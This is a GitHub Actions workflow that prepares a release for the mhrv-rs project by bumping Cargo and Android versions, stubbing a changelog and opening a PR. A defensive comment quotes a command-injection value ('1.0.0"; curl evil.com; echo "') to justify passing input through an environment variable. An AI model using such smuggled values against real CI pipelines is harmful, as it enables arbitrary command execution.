-
Notifications
You must be signed in to change notification settings - Fork 231
296 lines (279 loc) · 14.2 KB
/
prepare-release.yml
File metadata and controls
296 lines (279 loc) · 14.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
# Prepare a new release: bump version strings, prefill the changelog
# stub from release-drafter's draft, and open a PR. After the PR is
# merged, you push the `v<version>` tag manually and `release.yml`
# takes over (matrix build → GitHub release → Telegram notify).
#
# Triggered manually from the Actions UI or via:
# gh workflow run prepare-release.yml -f version=1.6.6
#
# What it bumps in the PR:
# - Cargo.toml version = "X.Y.Z"
# - Cargo.lock mhrv-rs entry's version
# - android/app/build.gradle.kts versionName = "X.Y.Z"
# versionCode = previous + 1
#
# What it leaves alone:
# - tunnel-node/Cargo.toml — versioned independently from the app.
# The docker tunnel image is tagged from the git release tag (not
# from this Cargo.toml), so we don't need to touch it.
#
# What it prefills in docs/changelog/v<version>.md:
# - Persian section: an inline `[FA] translate ...` placeholder line.
# Visible if not edited — ships into the release page as an obvious
# marker rather than a quiet comment leak.
# - Separator: `---`
# - English section: bullets pulled from release-drafter's `next`
# draft release, each suffixed with `: <expand>` to remind you to
# add an explanatory clause in the project's existing
# `• headline (#NN): full explanation` style. If no draft exists
# yet (e.g. immediately after installing release-drafter, before
# any PRs have merged), the English section is empty and you fill
# it in by hand.
name: prepare-release
on:
workflow_dispatch:
inputs:
version:
description: 'New version to release (without the leading v). Example: 1.6.6'
required: true
type: string
permissions:
contents: write
pull-requests: write
jobs:
bump:
runs-on: ubuntu-latest
steps:
# Always check out main, regardless of which branch the dispatch
# was fired from. workflow_dispatch can be triggered from any ref;
# without an explicit `ref:` the version bumps would land on top
# of whatever branch the dispatcher had checked out, and the
# resulting PR would carry that branch's diffs alongside the bumps.
- uses: actions/checkout@v4
with:
ref: main
fetch-depth: 0 # need tag history for the duplicate-tag check below
- name: Validate version
id: ver
env:
# Pass the dispatch input through an env var rather than
# `${{ inputs.version }}` interpolation. GitHub interpolates
# the expression *before* the shell parses the script, so a
# value like `1.0.0"; curl evil.com; echo "` would execute
# before the regex check below ever ran. workflow_dispatch
# is gated to write-access users so practical risk is low,
# but this is the pattern GitHub's own docs recommend for
# defense in depth.
INPUT_VERSION: ${{ inputs.version }}
run: |
set -euo pipefail
VER="$INPUT_VERSION"
VER="${VER#v}"
if ! [[ "$VER" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "::error::version '$VER' is not in X.Y.Z format"
exit 1
fi
if git rev-parse "v${VER}" >/dev/null 2>&1; then
echo "::error::tag v${VER} already exists; pick a different version"
exit 1
fi
BRANCH="release/v${VER}"
if git ls-remote --exit-code --heads origin "$BRANCH" >/dev/null 2>&1; then
echo "::error::branch $BRANCH already exists on origin; delete it or pick a different version"
exit 1
fi
echo "version=${VER}" >> "$GITHUB_OUTPUT"
echo "branch=${BRANCH}" >> "$GITHUB_OUTPUT"
- name: Bump Cargo.toml + Cargo.lock
env:
NEW_VER: ${{ steps.ver.outputs.version }}
run: |
set -euo pipefail
# Edit both files via Python so we anchor on the `name = "mhrv-rs"`
# line and only touch the package's own version, not unrelated
# `version = "..."` lines elsewhere in the lockfile.
python3 <<'PY'
import os, re, pathlib, sys
ver = os.environ["NEW_VER"]
for path in ("Cargo.toml", "Cargo.lock"):
p = pathlib.Path(path)
src = p.read_text()
new = re.sub(
r'(name = "mhrv-rs"\nversion = ")[0-9.]+(")',
rf'\g<1>{ver}\g<2>',
src,
count=1,
)
if new == src:
sys.exit(f"ERROR: mhrv-rs version line not found in {path}")
p.write_text(new)
print(f"{path} -> {ver}")
PY
- name: Bump android versionName + versionCode
env:
NEW_VER: ${{ steps.ver.outputs.version }}
run: |
set -euo pipefail
# versionCode increments by 1 on every release; versionName mirrors
# the Cargo version. Both live in android/app/build.gradle.kts.
python3 <<'PY'
import os, re, pathlib, sys
ver = os.environ["NEW_VER"]
p = pathlib.Path("android/app/build.gradle.kts")
src = p.read_text()
m = re.search(r'versionCode\s*=\s*(\d+)', src)
if not m:
sys.exit("ERROR: versionCode not found in build.gradle.kts")
old_code = int(m.group(1))
new_code = old_code + 1
src = src[:m.start(1)] + str(new_code) + src[m.end(1):]
src, n = re.subn(
r'versionName\s*=\s*"[^"]+"',
f'versionName = "{ver}"',
src,
count=1,
)
if n == 0:
sys.exit("ERROR: versionName not found in build.gradle.kts")
p.write_text(src)
print(f"android/app/build.gradle.kts -> versionName={ver}, versionCode={old_code}->{new_code}")
PY
- name: Fetch release-drafter draft body
id: draft
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
# release-drafter accumulates merged-PR titles into a draft tagged
# `next`. Pull its body for the changelog stub. `--repo` is set
# explicitly so we always look up the release in this repo even
# if a future maintainer ever creates a real `next` git tag in a
# fork or upstream. If no draft exists yet (release-drafter just
# installed, no PRs merged since), the `|| true` keeps us going
# with an empty body — you fill the English section by hand.
# `--jq 'select(.isDraft) | .body'` returns nothing if `next` is
# not a draft (i.e. someone manually published a release with
# tag `next`, or pushed a real `next` git tag with a release
# attached). On that path we treat it as "no draft" and fall
# through to the empty-body branch — better than echoing a
# surprise release body into the changelog stub.
BODY=$(gh release view next --repo "${{ github.repository }}" \
--json body,isDraft --jq 'select(.isDraft) | .body' 2>/dev/null || true)
if [ -z "$BODY" ]; then
echo "::notice::no release-drafter 'next' draft found; English section will be empty"
else
echo "::notice::pulled $(printf '%s' "$BODY" | wc -l) lines from draft release"
fi
# Multiline outputs need a heredoc-style delimiter — pick one that
# cannot appear in a release-drafter bullet line.
{
echo 'body<<__DRAFT_BODY_EOF__'
printf '%s\n' "$BODY"
echo '__DRAFT_BODY_EOF__'
} >> "$GITHUB_OUTPUT"
- name: Write changelog stub
env:
NEW_VER: ${{ steps.ver.outputs.version }}
DRAFT_BODY: ${{ steps.draft.outputs.body }}
run: |
set -euo pipefail
# Build the file with shell `echo`/`printf` (not a YAML-level
# heredoc with $-double-curly interpolation) so backticks, dollar
# signs, or EOF tokens in the draft body can't break us.
#
# Why no TODO/instructional <!-- comments -->:
# release.yml strips leading <!-- comment --> blocks from the
# file before publishing the GitHub Release body, and the
# Telegram script does the same — both via a regex that handles
# multiple consecutive comments. But relying on stripping is
# brittle: a maintainer adding a new comment with a different
# shape (multi-line, indented, etc.) could leak it. Instead we
# use VISIBLE placeholders below. If the maintainer forgets to
# edit them, they ship as obvious `[FA]`/`<expand>` markers
# that an admin will spot in the release page within seconds.
mkdir -p docs/changelog
OUT="docs/changelog/v${NEW_VER}.md"
{
echo '<!-- see docs/changelog/v1.1.0.md for the file format: Persian, then `---`, then English. -->'
echo '[FA] translate the English bullets below into Persian and replace this line.'
echo ''
echo '---'
# Append the English section if release-drafter had any.
# Skip the printf entirely on empty so we don't leave a
# trailing blank line under `---`.
if [ -n "$DRAFT_BODY" ]; then
# Strip Conventional-Commit prefixes (`feat:`, `fix(android):`,
# etc.) from the start of each bullet headline. PR titles in
# this repo all carry these prefixes by convention, but the
# existing changelog style is verb-first ("Add X" / "Fix Y"),
# not type-first. Stripping here saves the maintainer one
# manual step per bullet; they still need to fix the verb
# tense (e.g. "added" → "Add") since GitHub PR titles tend
# to be past-tense and the changelog convention is imperative.
#
# Bullet shape from release-drafter is:
# • feat(scope): title text ([#NN](url)): <expand>. Thanks @user
# After this sed:
# • title text ([#NN](url)): <expand>. Thanks @user
printf '%s\n' "$DRAFT_BODY" \
| sed -E 's/^(• )(feat|fix|chore|docs?|refactor|perf|test|build|ci|style|revert)(\([^)]*\))?!?: */\1/i'
fi
} > "$OUT"
echo "wrote $OUT ($(wc -l < "$OUT") lines)"
# No `Ensure release-prep label exists` step here — release-drafter's
# workflow runs on every push to main, and its `Ensure autolabeler
# labels exist` step creates `release-prep` (along with the type:*
# labels). Since these workflow files only land via a push to main,
# release-drafter's bootstrap necessarily runs before the first
# prepare-release dispatch. If for some reason release-drafter is
# disabled, `gh pr create --label release-prep` below will fail with
# an actionable "label not found" — fix is to re-enable
# release-drafter or run `gh label create release-prep` once by hand.
- name: Commit, push, and open PR
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
NEW_VER: ${{ steps.ver.outputs.version }}
BRANCH: ${{ steps.ver.outputs.branch }}
run: |
set -euo pipefail
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git checkout -b "$BRANCH"
git add Cargo.toml Cargo.lock android/app/build.gradle.kts \
"docs/changelog/v${NEW_VER}.md"
git commit -m "release: prepare v${NEW_VER}"
git push -u origin "$BRANCH"
# Write the PR body to a file rather than fight nested heredoc
# escaping in the YAML run: block.
#
# IMPORTANT: this heredoc terminator (`MSG`) is INTENTIONALLY
# unquoted so that ${NEW_VER} and ${BRANCH} expand. Backticks
# in the body are escaped (\`) for the same reason. If you
# paste anything into the template below, watch out for `$(...)`
# and unescaped backticks — they will execute at workflow run
# time. To add a static block that should NOT interpolate, build
# it with a separate `<<'STATIC'` heredoc and concat afterward.
cat > /tmp/pr-body.md <<MSG
Automated version bump for **v${NEW_VER}**.
Bumped in this PR:
- \`Cargo.toml\` and \`Cargo.lock\` → ${NEW_VER}
- \`android/app/build.gradle.kts\` → versionName=${NEW_VER}, versionCode incremented by 1
- \`docs/changelog/v${NEW_VER}.md\` stubbed; English bullets prefilled from release-drafter's \`next\` draft
**Before merging — finish the changelog on this branch:**
1. Check out this branch locally: \`git fetch && git checkout ${BRANCH}\`
2. In \`docs/changelog/v${NEW_VER}.md\`:
- **Persian section:** replace the \`[FA] translate ...\` line with the Persian bullets above the \`---\` separator.
- **English section:** for each bullet, (a) fix the verb tense if needed (release-drafter passes through PR titles as-is, so "added" → "Add", "fixed" → "Fix"), and (b) replace \`<expand>\` with a short explanatory clause matching the project's \`• headline (#NN): full explanation\` style. The Conventional-Commit prefix (\`feat:\`/\`fix:\`/etc.) and the trailing \`. Thanks @author\` are already handled.
3. Commit + push to this branch so the PR includes the final bilingual changelog.
Any \`[FA]\` or \`<expand>\` markers left in the file will ship verbatim into the GitHub Release page and the Telegram post — they're intentionally visible, not hidden in HTML comments.
**After merging — ship it:**
1. \`git checkout main && git pull\`
2. \`git tag v${NEW_VER} && git push origin v${NEW_VER}\`
3. \`release.yml\` picks up the tag, builds artifacts, creates the GitHub release, and (if enabled) posts to Telegram.
MSG
gh pr create \
--base main \
--head "$BRANCH" \
--title "release: prepare v${NEW_VER}" \
--label "release-prep" \
--body-file /tmp/pr-body.md